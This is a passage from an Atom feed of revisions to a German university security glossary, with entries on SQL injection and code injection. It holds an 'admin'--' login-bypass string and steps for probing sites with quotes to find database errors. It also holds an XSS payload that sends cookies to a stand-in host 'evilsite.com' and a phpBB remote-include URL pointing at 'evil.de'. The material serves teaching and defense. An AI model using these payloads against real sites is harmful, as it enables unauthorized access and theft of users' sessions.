Laut [9] treten bei .asp und .cfm Skripten am häufigsten Probleme auf, die eine SQL Injection ermöglichen. Bei mangelnder&lt;br /&gt;
Maskierung könnte man eine SQL Abfrage wie folgt manipulieren. Zu sehen ist nun eine Login-Abfrage in SQL.&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM users WHERE name =&#039;$username&#039; AND password =&#039;$password&#039;&lt;br /&gt;
&lt;br /&gt;
In das Login-Feld könnte folgendes statt einem korrekten Login-Namen eingetragen werden:&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;quot;admin&#039;--&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
Wenn diese Eingabe ungefiltert in die obige SQL-Abfrage eingetragen wird, sieht der zu verarbeitende Befehl nun wie folgt aus:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM users WHERE name =&#039;admin&#039;--&#039; AND password =&#039;beliebig&#039;.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Da -- in SQL als Kommentarzeichen gewertet wird, wird also nur noch&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM users WHERE name =&#039;admin&#039;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verarbeitet. D.h. es wird ein einem Angreifer ein passwortloser Zugang zum Server gewährt, da es nicht mehr notwendig ist,&lt;br /&gt;
ein Passwort einzugeben. Der Angreifer muss nur einen Benutzernamen kennen oder diesen erraten.&amp;lt;br&amp;gt;&lt;br /&gt;
Diese Art der SQL Injection ist zwar simpel, aber anscheinend immer noch aktuell da, laut [9], 2006 das T-Online Karriereform&lt;br /&gt;
so einen passwortlosen Zugang erlaubte.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Durchführung=&lt;br /&gt;
&lt;br /&gt;
Natürlich ist eine Anwendung die keine Parameter an eine SQL Datenbank übergibt auch nicht gegen SQL Injection anfällig.&lt;br /&gt;
Deswegen werden also nur die Webseiten untersucht, die diese mögliche Schwachstelle haben. Vorzugsweise werden dabei Skriptaufrufe&lt;br /&gt;
mit den Endungen &amp;quot;.asp&amp;quot; und &amp;quot;.cmf&amp;quot; gesucht, da hier die meisten Probleme zu erwarten sind [9]. Um die Anfälligkeit der so&lt;br /&gt;
ausgewählten Seite auf SQL Injection zu prüfen, gibt es zwei Möglichkeit (beide sollten ausprobiert werden).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Der Code kann möglicherweise über die Parameter der URL injiziert werden z.B. bei http://www.seite.com/artikelid.asp?512 über&lt;br /&gt;
die Zahl 512&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bei der ersten Variante wird der komplette Wert durch ein einfaches Anführungszeichen ausgetauscht,&lt;br /&gt;
d.h. aus „name=value“ wird „name=’“ . Die zweite Variante verlangt das Setzen des&lt;br /&gt;
Anführungszeichens in die Mitte von „value“, so dass anschließend eine Parameterübergabe so&lt;br /&gt;
aussieht: „name=val’ue“.&lt;br /&gt;
Die so veränderte URL wird mit Enter bestätigt, um zu prüfen, ob eine Datenbank-Fehlermeldung&lt;br /&gt;
von der betroffenen Seite ausgegeben wird. Die gesuchten Fehlermeldungen können wie folgt&lt;br /&gt;
aussehen:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Fehlermeldungsart 1:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for SQL Server error ’80040e14’&lt;br /&gt;
&lt;br /&gt;
Unclosed quotation mark before the character string&lt;br /&gt;
&lt;br /&gt;
’51 ORDER BY some_name’.&lt;br /&gt;
&lt;br /&gt;
/some_directory/some_file.asp, line 5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Fehlermeldungsart 2:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ODBC Error Code = S1000 (General error)&lt;br /&gt;
&lt;br /&gt;
[Oracle][ODBC][Ora]ORA-00933: SQL command not properly ended&lt;br /&gt;
&lt;br /&gt;
Wie auch schon im Kapitel 2.4 beschrieben wurde, kann die gesuchte Fehlermeldung im HTML&lt;br /&gt;
Code liegen ohne angezeigt zu werden. Deswegen muss also auch der Code angesehen werden.&lt;br /&gt;
Am leichtesten ist es nach den Ausdrücken „Microsoft OLEDB“ oder „[ODBC]“ zu suchen.&lt;br /&gt;
Werden die beschriebenen Fehlermeldungen gefunden, ist nachgewiesen, dass die untersuchte&lt;br /&gt;
Anwendung für SQL-Injection zugänglich ist.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;Beispiel nach [7].&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Gegenmaßnahmen=&lt;br /&gt;
&lt;br /&gt;
SQL bietet eigene Möglichkeiten, um sich vor SQL Injection Angriffen zu schützen, wie z.B. [[Stored procedures]] und&lt;br /&gt;
[[Prepared statements]].&amp;lt;br&amp;gt;&lt;br /&gt;
Hinzu kommt noch die Möglichkeit, die eigene Homepage mit Hilfe von frei verfügbaren Tools&lt;br /&gt;
auf Schwachstellen gegenüber SQL Injection zu durchsuchen. Ein solches Tool ist z.B. der SQL Injection&lt;br /&gt;
Bruteforcer „SQLLibf“, das mittels Brute-Force-Angriffen die dynamischen Variablen einer&lt;br /&gt;
Seite auf Schwachstellen testet.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;(Weitere Tools dieser Art können bei www.astalavista.com gefunden werden.)&amp;lt;/i&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Da der Mensch allerdings gerade bei destruktiven Aufgaben weit&lt;br /&gt;
mehr kreative Energie aufbringen kann als dieses Tool, kann auch dieses Tool keine absolute&lt;br /&gt;
Sicherheit garantieren. So ist zu empfehlen Datenbankabfragen korrekt zu formulieren. Einige&lt;br /&gt;
Beispiele (in unterschiedlichen Programmiersprachen), wie man korrekte Abfragen schreibt, sind&lt;br /&gt;
in im weiterführenden Link zu finden.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Allgemein lässt sich festhalten, dass es für den Programmierer einer Anwendung nicht reicht,&lt;br /&gt;
nur sauber zu programmieren. Er sollte darüber hinaus auch grundsätzlich allen Daten, die in&lt;br /&gt;
irgendeiner Form von außen manipuliert worden sein könnten, misstrauen und diese als unsicher&lt;br /&gt;
ansehen. Daraus folgt natürlich das alle Daten zunächst auf Gültigkeit geprüft werden müssen -&lt;br /&gt;
das gilt auch für die Variablen in den URLs!&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Das heißt natürlich auch, dass keine ungefilterten Strings zur Weiterverarbeitung durchgereicht&lt;br /&gt;
werden, also z.B. Steuerzeichen durch ihre Escapesequenzen ersetzt werden.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Zwar würde dadurch kein unerwünschter Befehl mehr ausgeführt werden, allerdings hat das Ersetzen&lt;br /&gt;
der Sonderzeichen mit ihren Escape-Sequenzen den Nachteil, dass auch Tags geblockt&lt;br /&gt;
würden. Und in manchen Foren ist es erwünscht, dass der Benutzer weiterhin die Möglichkeit&lt;br /&gt;
hat, seinen Text zu formatieren, wodurch das beschriebene Verfahren unbrauchbar werden würde.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Listenbasierte Filter, bei denen nicht alle, sondern nur die potentiell schädlichen&lt;br /&gt;
Tags verändert werden. Dabei gibt es das [[Whitelisting]] und das [[Blacklisting]]. Auch eine&lt;br /&gt;
Vermischung dieser beiden Filterarten ist möglich.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=weiterführender Link=&lt;br /&gt;
[[http://de.wikipedia.org/w/index.php?title=SQL-Injektion&amp;amp;diff=33184377&amp;amp;oldid=32572015]] Beispielliste mit sicheren&lt;br /&gt;
Datenbankabfragen in unterschiedlichen Programmiersprachen.&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
[1] Security Hacks. Abfragedatum: 24.Mai 2007. http://www.security-hacks.com/2007/05/18/top-15-free-sql-injection-scanners&amp;lt;br&amp;gt;&lt;br /&gt;
[2] Astalavista Group. Abfragedatum: 24.Mai 2007. http://www.astalavista.com &amp;lt;br&amp;gt;&lt;br /&gt;
[3] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html&amp;lt;br&amp;gt;&lt;br /&gt;
[4] SQL-Injektion. Abfragedatum: 24.Mai 2007. http://de.wikipedia.org/wiki/SQL-Injektion&amp;lt;br&amp;gt;&lt;br /&gt;
[5] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften&lt;br /&gt;
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885&amp;lt;br&amp;gt;&lt;br /&gt;
[6] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.&lt;br /&gt;
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html&amp;lt;br&amp;gt;&lt;br /&gt;
[7] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:&lt;br /&gt;
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html&amp;lt;br&amp;gt;&lt;br /&gt;
[8] SQL-Injektion. Abfragedatum: 20.Juni 2007. http://de.wikipedia.org/w/index.php?title=SQL-Injektion&amp;amp;diff=33184377&amp;amp;oldid=32572015&amp;lt;br&amp;gt;&lt;br /&gt;
[9] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.&lt;br /&gt;
C’t 2006, Heft 26, S. 234ff&amp;lt;br&amp;gt;&lt;br /&gt;
[10] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin&lt;br /&gt;
2007, Heft 1, S. 20ff&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
*[[Cross Site Scripting]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[Codeinjection]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[Whitelisting]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[Blacklisting]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[Stored procedures]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[Prepared statements]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=Code_Injection&amp;diff=9677</id>
		<title>Code Injection</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=Code_Injection&amp;diff=9677"/>
		<updated>2007-06-25T15:14:34Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{In Bearbeitung}}&lt;br /&gt;
&lt;br /&gt;
=Definition=&lt;br /&gt;
&lt;br /&gt;
Codeinjektion wird bei [[Cross Site Scripting]] eingesetzt und findet seinen Einsatz in variablen Bereichen dynamischer Webseiten, also&lt;br /&gt;
überall dort, wo Benutzer etwas selbstständig eintragen dürfen.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Entscheidend hierbei ist, dass der Browser, in dem eine manipulierte Webseite&lt;br /&gt;
dargestellt wird, nichts über den Zweck oder Ursprung des in dieser Seite enthaltenen Codes&lt;br /&gt;
wissen kann und deswegen auch den injizierten Code gewissenhaft ausführt.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Da der hinzugefügte Code zum Teil der Seite wird, verfügt er auch über die Berechtigungen der Seite,&lt;br /&gt;
weswegen Verschlüsselungstechniken und ähnliche Sicherheitsvorkehrungen nutzlos werden.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Vor allem bei Webseiten, die die Eingabe von Benutzern anschließend anzeigen und dabei diese&lt;br /&gt;
Eingaben vorher nicht ausreichend filtern und prüfen, kann Code injiziert werden. Werden die&lt;br /&gt;
Eingaben in Gästebüchern, Foren, privaten Nachrichten oder anderen Anwendungen, die auf den&lt;br /&gt;
gleichen Prinzipien basieren, nicht ausreichend geprüft, könnten diese zum injizieren von Code&lt;br /&gt;
verwendet werden.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Beispiel: Stehlen eines Cookies=&lt;br /&gt;
&lt;br /&gt;
Eine ungesicherte dynamische Seite, die mit PHP geschrieben wurde und über ein Titel- und Text-Feld verfügt legt zunächst mit&amp;lt;br&amp;gt;&lt;br /&gt;
setcookie(&amp;quot;xss&amp;quot; , &amp;quot;This content will be stored in a cookie&amp;quot; );&amp;lt;br&amp;gt;&lt;br /&gt;
ein Cookie mit dem Namen xss und dem Inhalt &amp;quot;This content will be stored in a cookie&amp;quot; beim Benutzer an.&lt;br /&gt;
Der Benutzer kann in dieser Anwendung Nachrichten versenden und anzeigen lassen (dafür sind das Titel- und Textfeld).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Um dieses Cookie zu stehlen, kann der Angreifer (nachdem der Inhalt des Textfelds und des&lt;br /&gt;
Titelfelds nicht gefiltert wird) in das Textfeld folgenden JavaScript-Code eintragen:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;scrpt&amp;gt;document.location=&amp;quot;http://www.evilsite.com/evilscript.php?&lt;br /&gt;
info=&amp;quot;+document.cookie;&amp;lt;/script&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Anschließend wird im Browser, der folgende Link angezeigt:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
http://www.evilwebsite.com/evilscript.php?info=xss=This+content+will+be+stored+in+a+cookie&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Es ist deutlich zu sehen, dass die Daten aus dem Cookie ausgelesen und nun dem Angreifer bekannt sind.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Beispiel: Umleitung einer Seite=&lt;br /&gt;
Das Freeware-Tool phpBB, das es dem Benutzer ermöglicht, auch ohne weiterführende Programmier-&lt;br /&gt;
oder HTML-Kenntnisse Foren zu erstellen und zu administrieren, wurde durch eine PHP&lt;br /&gt;
Anweisung anfällig auf XSS, dies wird mit einem Beispiel aus [5] vorgeführt.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Mit der Anweisung&amp;lt;br&amp;gt;&lt;br /&gt;
include_once($phpbb_root_path=’common.php’)&amp;lt;br&amp;gt;&lt;br /&gt;
wird die Datei „common.php“ aus dem Root-Verzeichnis geladen. Dies ließ sich jedoch ausnutzen,&lt;br /&gt;
indem man die dynamische Seite mit folgendem Code „fütterte“ :&amp;lt;br&amp;gt;&lt;br /&gt;
/plugin.php&amp;amp;phpbb_root_path=http://evil.de&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dies führte dazu, das statt der gewünschten Datei die Datei http://evil.de/common.php ausgeführt&lt;br /&gt;
wurde.&amp;lt;br&amp;gt;&lt;br /&gt;
Diese Lücke ist zwar bei den neueren Versionen von phpBB geschlossen, verdeutlicht aber das Prinzip der Codeinjektion und ist immer noch aktuell für selbst geschriebene PHP Seiten.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Gängige Vertreter=&lt;br /&gt;
[[SQL Injection]], wird am häufigsten eingesetzt&amp;lt;br&amp;gt;&lt;br /&gt;
[[LDAP Injection]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[SSI Injection]]&amp;lt;br&amp;gt;&lt;br /&gt;
[[XPath Injection]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
[1] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.&lt;br /&gt;
ckers.org/xss.html&amp;lt;br&amp;gt;&lt;br /&gt;
[2] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften&lt;br /&gt;
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885&amp;lt;br&amp;gt;&lt;br /&gt;
[3] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.&lt;br /&gt;
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html&amp;lt;br&amp;gt;&lt;br /&gt;
[4] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:&lt;br /&gt;
24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/code-injection.html&amp;lt;br&amp;gt;&lt;br /&gt;
[5] Christiane Rütten, Tobias Glemser: Gesundes Misstrauen – Sicherheit von Webanwendungen.&lt;br /&gt;
C’t 2006, Heft 26, S. 234ff&amp;lt;br&amp;gt;&lt;br /&gt;
[6] Kai Fuhrberg, Dirk Häger, Stefan Wolf: Internet-Sicherheit – Browser, Firewalls und Verschlüsselung,&lt;br /&gt;
3. Auflage. Hanser Verlag, 2001. -ISBN 3-446-21725-8&amp;lt;br&amp;gt;&lt;br /&gt;
[7] Jörg Schwenk: Sicherheit und Krypthographie im Internet – Von sicherer E-Mail bis zu&lt;br /&gt;
IP-Verschlüsselung, 1. Auflage. Schwenk Verlag, Oktober 2002. -ISBN 3-528-03180-8&amp;lt;br&amp;gt;&lt;br /&gt;
[8] Othmar Kyas: Sicherheit im Internet, 2. Auflage. MITP-Verlag, 1999. -ISBN 3-8266-4024-1&amp;lt;br&amp;gt;&lt;br /&gt;
[9] Sicherheit in Verwaltungs- und Kliniknetzen – Anforderungen, Möglichkeiten, Empfehlungen.&lt;br /&gt;
Bericht der Arbeitsgruppe Verwaltungen nd Kliniken im Hochschulnetz. Bayerisches&lt;br /&gt;
Staatsministerium für Unterricht, Kultus, Wissenschaft und Kunst, 1998&amp;lt;br&amp;gt;&lt;br /&gt;
[10] Stefan Nusser: Sicherheitskonzepte im WWW. Springer Verlag Berlin Heidelberg, 1998.&lt;br /&gt;
-ISBN 3-540-63391-X&amp;lt;br&amp;gt;&lt;br /&gt;
[11] Paul Sebastian Ziegler: XSS – Cross-Site Scripting. hakin9 - Hard Core IT Security Magazin&lt;br /&gt;
2007, Heft 1, S. 20ff&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Siehe auch=&lt;br /&gt;
&lt;br /&gt;
*[[Cross Site Scripting]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[Whitelisting]]&amp;lt;br&amp;gt;&lt;br /&gt;
*[[Blacklisting]]&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
[[Kategorie:Sicherheit]]&lt;/div&gt;</summary>
		<author><name>Jkonrad</name></author>
	</entry>
	<entry>
		<id>https://glossar.hs-augsburg.de/w/index.php?title=SQL_Injection&amp;diff=9674</id>
		<title>SQL Injection</title>
		<link rel="alternate" type="text/html" href="https://glossar.hs-augsburg.de/w/index.php?title=SQL_Injection&amp;diff=9674"/>
		<updated>2007-06-25T15:13:51Z</updated>

		<summary type="html">&lt;p&gt;Jkonrad: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;{{In Bearbeitung}}&lt;br /&gt;
&lt;br /&gt;
=Definition=&lt;br /&gt;
Wird eingesetzt, um Content Management Systeme mit SQL-Datenbank-Anbindung anzugreifen. SQL Injection wird erst durch Ausnutzen&lt;br /&gt;
einer Sicherheitslücke möglich, die durch mangelnde Maskierung bzw. Überprüfung in Benutzereingaben entsteht.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Zählt zu den aktiven Angriffen und wird eingesetzt um empfindliche Daten zu stehlen oder gar die Kontrolle über den angegriffenen&lt;br /&gt;
Server zu gelangen. Dabei werden SQL-Kommandos entweder eingeschleust oder manipuliert. Der schädliche Code kann auch über die&lt;br /&gt;
Parameter einer URL an die Webseite weitergereicht werden.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Beispiel=&lt;br /&gt;
Laut [9] treten bei .asp und .cfm Skripten am häufigsten Probleme auf, die eine SQL Injection ermöglichen. Bei mangelnder&lt;br /&gt;
Maskierung könnte man eine SQL Abfrage wie folgt manipulieren. Zu sehen ist nun eine Login-Abfrage in SQL.&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM users WHERE name =&#039;$username&#039; AND password =&#039;$password&#039;&lt;br /&gt;
&lt;br /&gt;
In das Login-Feld könnte folgendes statt einem korrekten Login-Namen eingetragen werden:&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;quot;admin&#039;--&amp;quot;&amp;lt;br&amp;gt;&lt;br /&gt;
Wenn diese Eingabe ungefiltert in die obige SQL-Abfrage eingetragen wird, sieht der zu verarbeitende Befehl nun wie folgt aus:&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM users WHERE name =&#039;admin&#039;--&#039; AND password =&#039;beliebig&#039;.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Da -- in SQL als Kommentarzeichen gewertet wird, wird also nur noch&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
SELECT * FROM users WHERE name =&#039;admin&#039;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
verarbeitet. D.h. es wird ein einem Angreifer ein passwortloser Zugang zum Server gewährt, da es nicht mehr notwendig ist,&lt;br /&gt;
ein Passwort einzugeben. Der Angreifer muss nur einen Benutzernamen kennen oder diesen erraten.&amp;lt;br&amp;gt;&lt;br /&gt;
Diese Art der SQL Injection ist zwar simpel, aber anscheinend immer noch aktuell da, laut [9], 2006 das T-Online Karriereform&lt;br /&gt;
so einen passwortlosen Zugang erlaubte.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=How to=&lt;br /&gt;
&lt;br /&gt;
Natürlich ist eine Anwendung die keine Parameter an eine SQL Datenbank übergibt auch nicht gegen SQL Injection anfällig.&lt;br /&gt;
Deswegen werden also nur die Webseiten untersucht, die diese mögliche Schwachstelle haben. Vorzugsweise werden dabei Skriptaufrufe&lt;br /&gt;
mit den Endungen &amp;quot;.asp&amp;quot; und &amp;quot;.cmf&amp;quot; gesucht, da hier die meisten Probleme zu erwarten sind [9]. Um die Anfälligkeit der so&lt;br /&gt;
ausgewählten Seite auf SQL Injection zu prüfen, gibt es zwei Möglichkeit (beide sollten ausprobiert werden).&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Der Code kann möglicherweise über die Parameter der URL injiziert werden z.B. bei http://www.seite.com/artikelid.asp?512 über&lt;br /&gt;
die Zahl 512&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Bei der ersten Variante wird der komplette Wert durch ein einfaches Anführungszeichen ausgetauscht,&lt;br /&gt;
d.h. aus „name=value“ wird „name=’“ . Die zweite Variante verlangt das Setzen des&lt;br /&gt;
Anführungszeichens in die Mitte von „value“, so dass anschließend eine Parameterübergabe so&lt;br /&gt;
aussieht: „name=val’ue“.&lt;br /&gt;
Die so veränderte URL wird mit Enter bestätigt, um zu prüfen, ob eine Datenbank-Fehlermeldung&lt;br /&gt;
von der betroffenen Seite ausgegeben wird. Die gesuchten Fehlermeldungen können wie folgt&lt;br /&gt;
aussehen:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Fehlermeldungsart 1:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Microsoft OLE DB Provider for SQL Server error ’80040e14’&lt;br /&gt;
&lt;br /&gt;
Unclosed quotation mark before the character string&lt;br /&gt;
&lt;br /&gt;
’51 ORDER BY some_name’.&lt;br /&gt;
&lt;br /&gt;
/some_directory/some_file.asp, line 5&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Fehlermeldungsart 2:&amp;lt;/b&amp;gt;&lt;br /&gt;
&lt;br /&gt;
ODBC Error Code = S1000 (General error)&lt;br /&gt;
&lt;br /&gt;
[Oracle][ODBC][Ora]ORA-00933: SQL command not properly ended&lt;br /&gt;
&lt;br /&gt;
Wie auch schon im Kapitel 2.4 beschrieben wurde, kann die gesuchte Fehlermeldung im HTML&lt;br /&gt;
Code liegen ohne angezeigt zu werden. Deswegen muss also auch der Code angesehen werden.&lt;br /&gt;
Am leichtesten ist es nach den Ausdrücken „Microsoft OLEDB“ oder „[ODBC]“ zu suchen.&lt;br /&gt;
Werden die beschriebenen Fehlermeldungen gefunden, ist nachgewiesen, dass die untersuchte&lt;br /&gt;
Anwendung für SQL-Injection zugänglich ist.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;i&amp;gt;Beispiel nach [7].&amp;lt;/i&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=Gegenmaßnahmen=&lt;br /&gt;
&lt;br /&gt;
SQL bietet eigene Möglichkeiten, um sich vor SQL Injection Angriffen zu schützen, wie z.B. [[Stored procedures]] und&lt;br /&gt;
[[Prepared statements]].&amp;lt;br&amp;gt;&lt;br /&gt;
Hinzu kommt noch die Möglichkeit, die eigene Homepage mit Hilfe von frei verfügbaren Tools&lt;br /&gt;
auf Schwachstellen gegenüber SQL Injection zu durchsuchen. Ein solches Tool ist z.B. der SQL Injection&lt;br /&gt;
Bruteforcer „SQLLibf“, das mittels Brute-Force-Angriffen die dynamischen Variablen einer&lt;br /&gt;
Seite auf Schwachstellen testet.&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;i&amp;gt;(Weitere Tools dieser ARt können bei www.astalavista.com gefunden werden.)&amp;lt;/i&amp;gt;&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Da der Mensch allerdings gerade bei destruktiven Aufgaben weit&lt;br /&gt;
mehr kreative Energie aufbringen kann als dieses Tool, kann auch dieses Tool keine absolute&lt;br /&gt;
Sicherheit garantieren. So ist zu empfehlen Datenbankabfragen korrekt zu formulieren. Einige&lt;br /&gt;
Beispiele (in unterschiedlichen Programmiersprachen), wie man korrekte Abfragen schreibt, sind&lt;br /&gt;
in im weiterführenden Link zu finden.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Allgemein lässt sich festhalten, dass es für den Programmierer einer Anwendung nicht reicht,&lt;br /&gt;
nur sauber zu programmieren. Er sollte darüber hinaus auch grundsätzlich allen Daten, die in&lt;br /&gt;
irgendeiner Form von außen manipuliert worden sein könnten, misstrauen und diese als unsicher&lt;br /&gt;
ansehen. Daraus folgt natürlich das alle Daten zunächst auf Gültigkeit geprüft werden müssen -&lt;br /&gt;
das gilt auch für die Variablen in den URLs!&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Das heißt natürlich auch, dass keine ungefilterten Strings zur Weiterverarbeitung durchgereicht&lt;br /&gt;
werden, also z.B. Steuerzeichen durch ihre Escapesequenzen ersetzt werden.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Zwar würde dadurch kein unerwünschter Befehl mehr ausgeführt werden, allerdings hat das Ersetzen&lt;br /&gt;
der Sonderzeichen mit ihren Escape-Sequenzen den Nachteil, dass auch Tags geblockt&lt;br /&gt;
würden. Und in manchen Foren ist es erwünscht, dass der Benutzer weiterhin die Möglichkeit&lt;br /&gt;
hat, seinen Text zu formatieren, wodurch das beschriebene Verfahren unbrauchbar werden würde.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Listenbasierte Filter, bei denen nicht alle, sondern nur die potentiell schädlichen&lt;br /&gt;
Tags verändert werden. Dabei gibt es das [[Whitelisting]] und das [[Blacklisting]]. Auch eine&lt;br /&gt;
Vermischung dieser beiden Filterarten ist möglich.&amp;lt;br&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=weiterführender Link=&lt;br /&gt;
[[http://de.wikipedia.org/w/index.php?title=SQL-Injektion&amp;amp;diff=33184377&amp;amp;oldid=32572015]] Beispielliste mit sicheren&lt;br /&gt;
Datenbankabfragen in unterschiedlichen Programmiersprachen.&lt;br /&gt;
&lt;br /&gt;
=Quellen=&lt;br /&gt;
&lt;br /&gt;
[1] Security Hacks. Abfragedatum: 24.Mai 2007. http://www.security-hacks.com/2007/05/18/top-15-free-sql-injection-scanners&amp;lt;br&amp;gt;&lt;br /&gt;
[2] Astalavista Group. Abfragedatum: 24.Mai 2007. http://www.astalavista.com &amp;lt;br&amp;gt;&lt;br /&gt;
[3] XSS (Cross-Site Scripting) Cheat Sheet. Abfragedatum: 24.Mai 2007. http://ha.ckers.org/xss.html&amp;lt;br&amp;gt;&lt;br /&gt;
[4] SQL-Injektion. Abfragedatum: 24.Mai 2007. http://de.wikipedia.org/wiki/SQL-Injektion&amp;lt;br&amp;gt;&lt;br /&gt;
[5] heise Security news – Sparkassen schlampen bei Online-Banking-Sicherheit. Heise Zeitschriften&lt;br /&gt;
Verlag. Abfragedatum: 24.Mai 2007. http://www.heise.de/security/news/meldung/89885&amp;lt;br&amp;gt;&lt;br /&gt;
[6] Caleb Sima: Locking the Door Behind You: Hacker Protection for Your Web Applications.&lt;br /&gt;
Abfragedatum: 24.Mai 2007. http://www.spidynamics.com/spilabs/education/articles/hacker-protection.html&amp;lt;br&amp;gt;&lt;br /&gt;
[7] Bryan Sullivan: Malicious Code Injection: It’s Not Just for SQL Anymore. Abfragedatum:&lt;br /&gt;
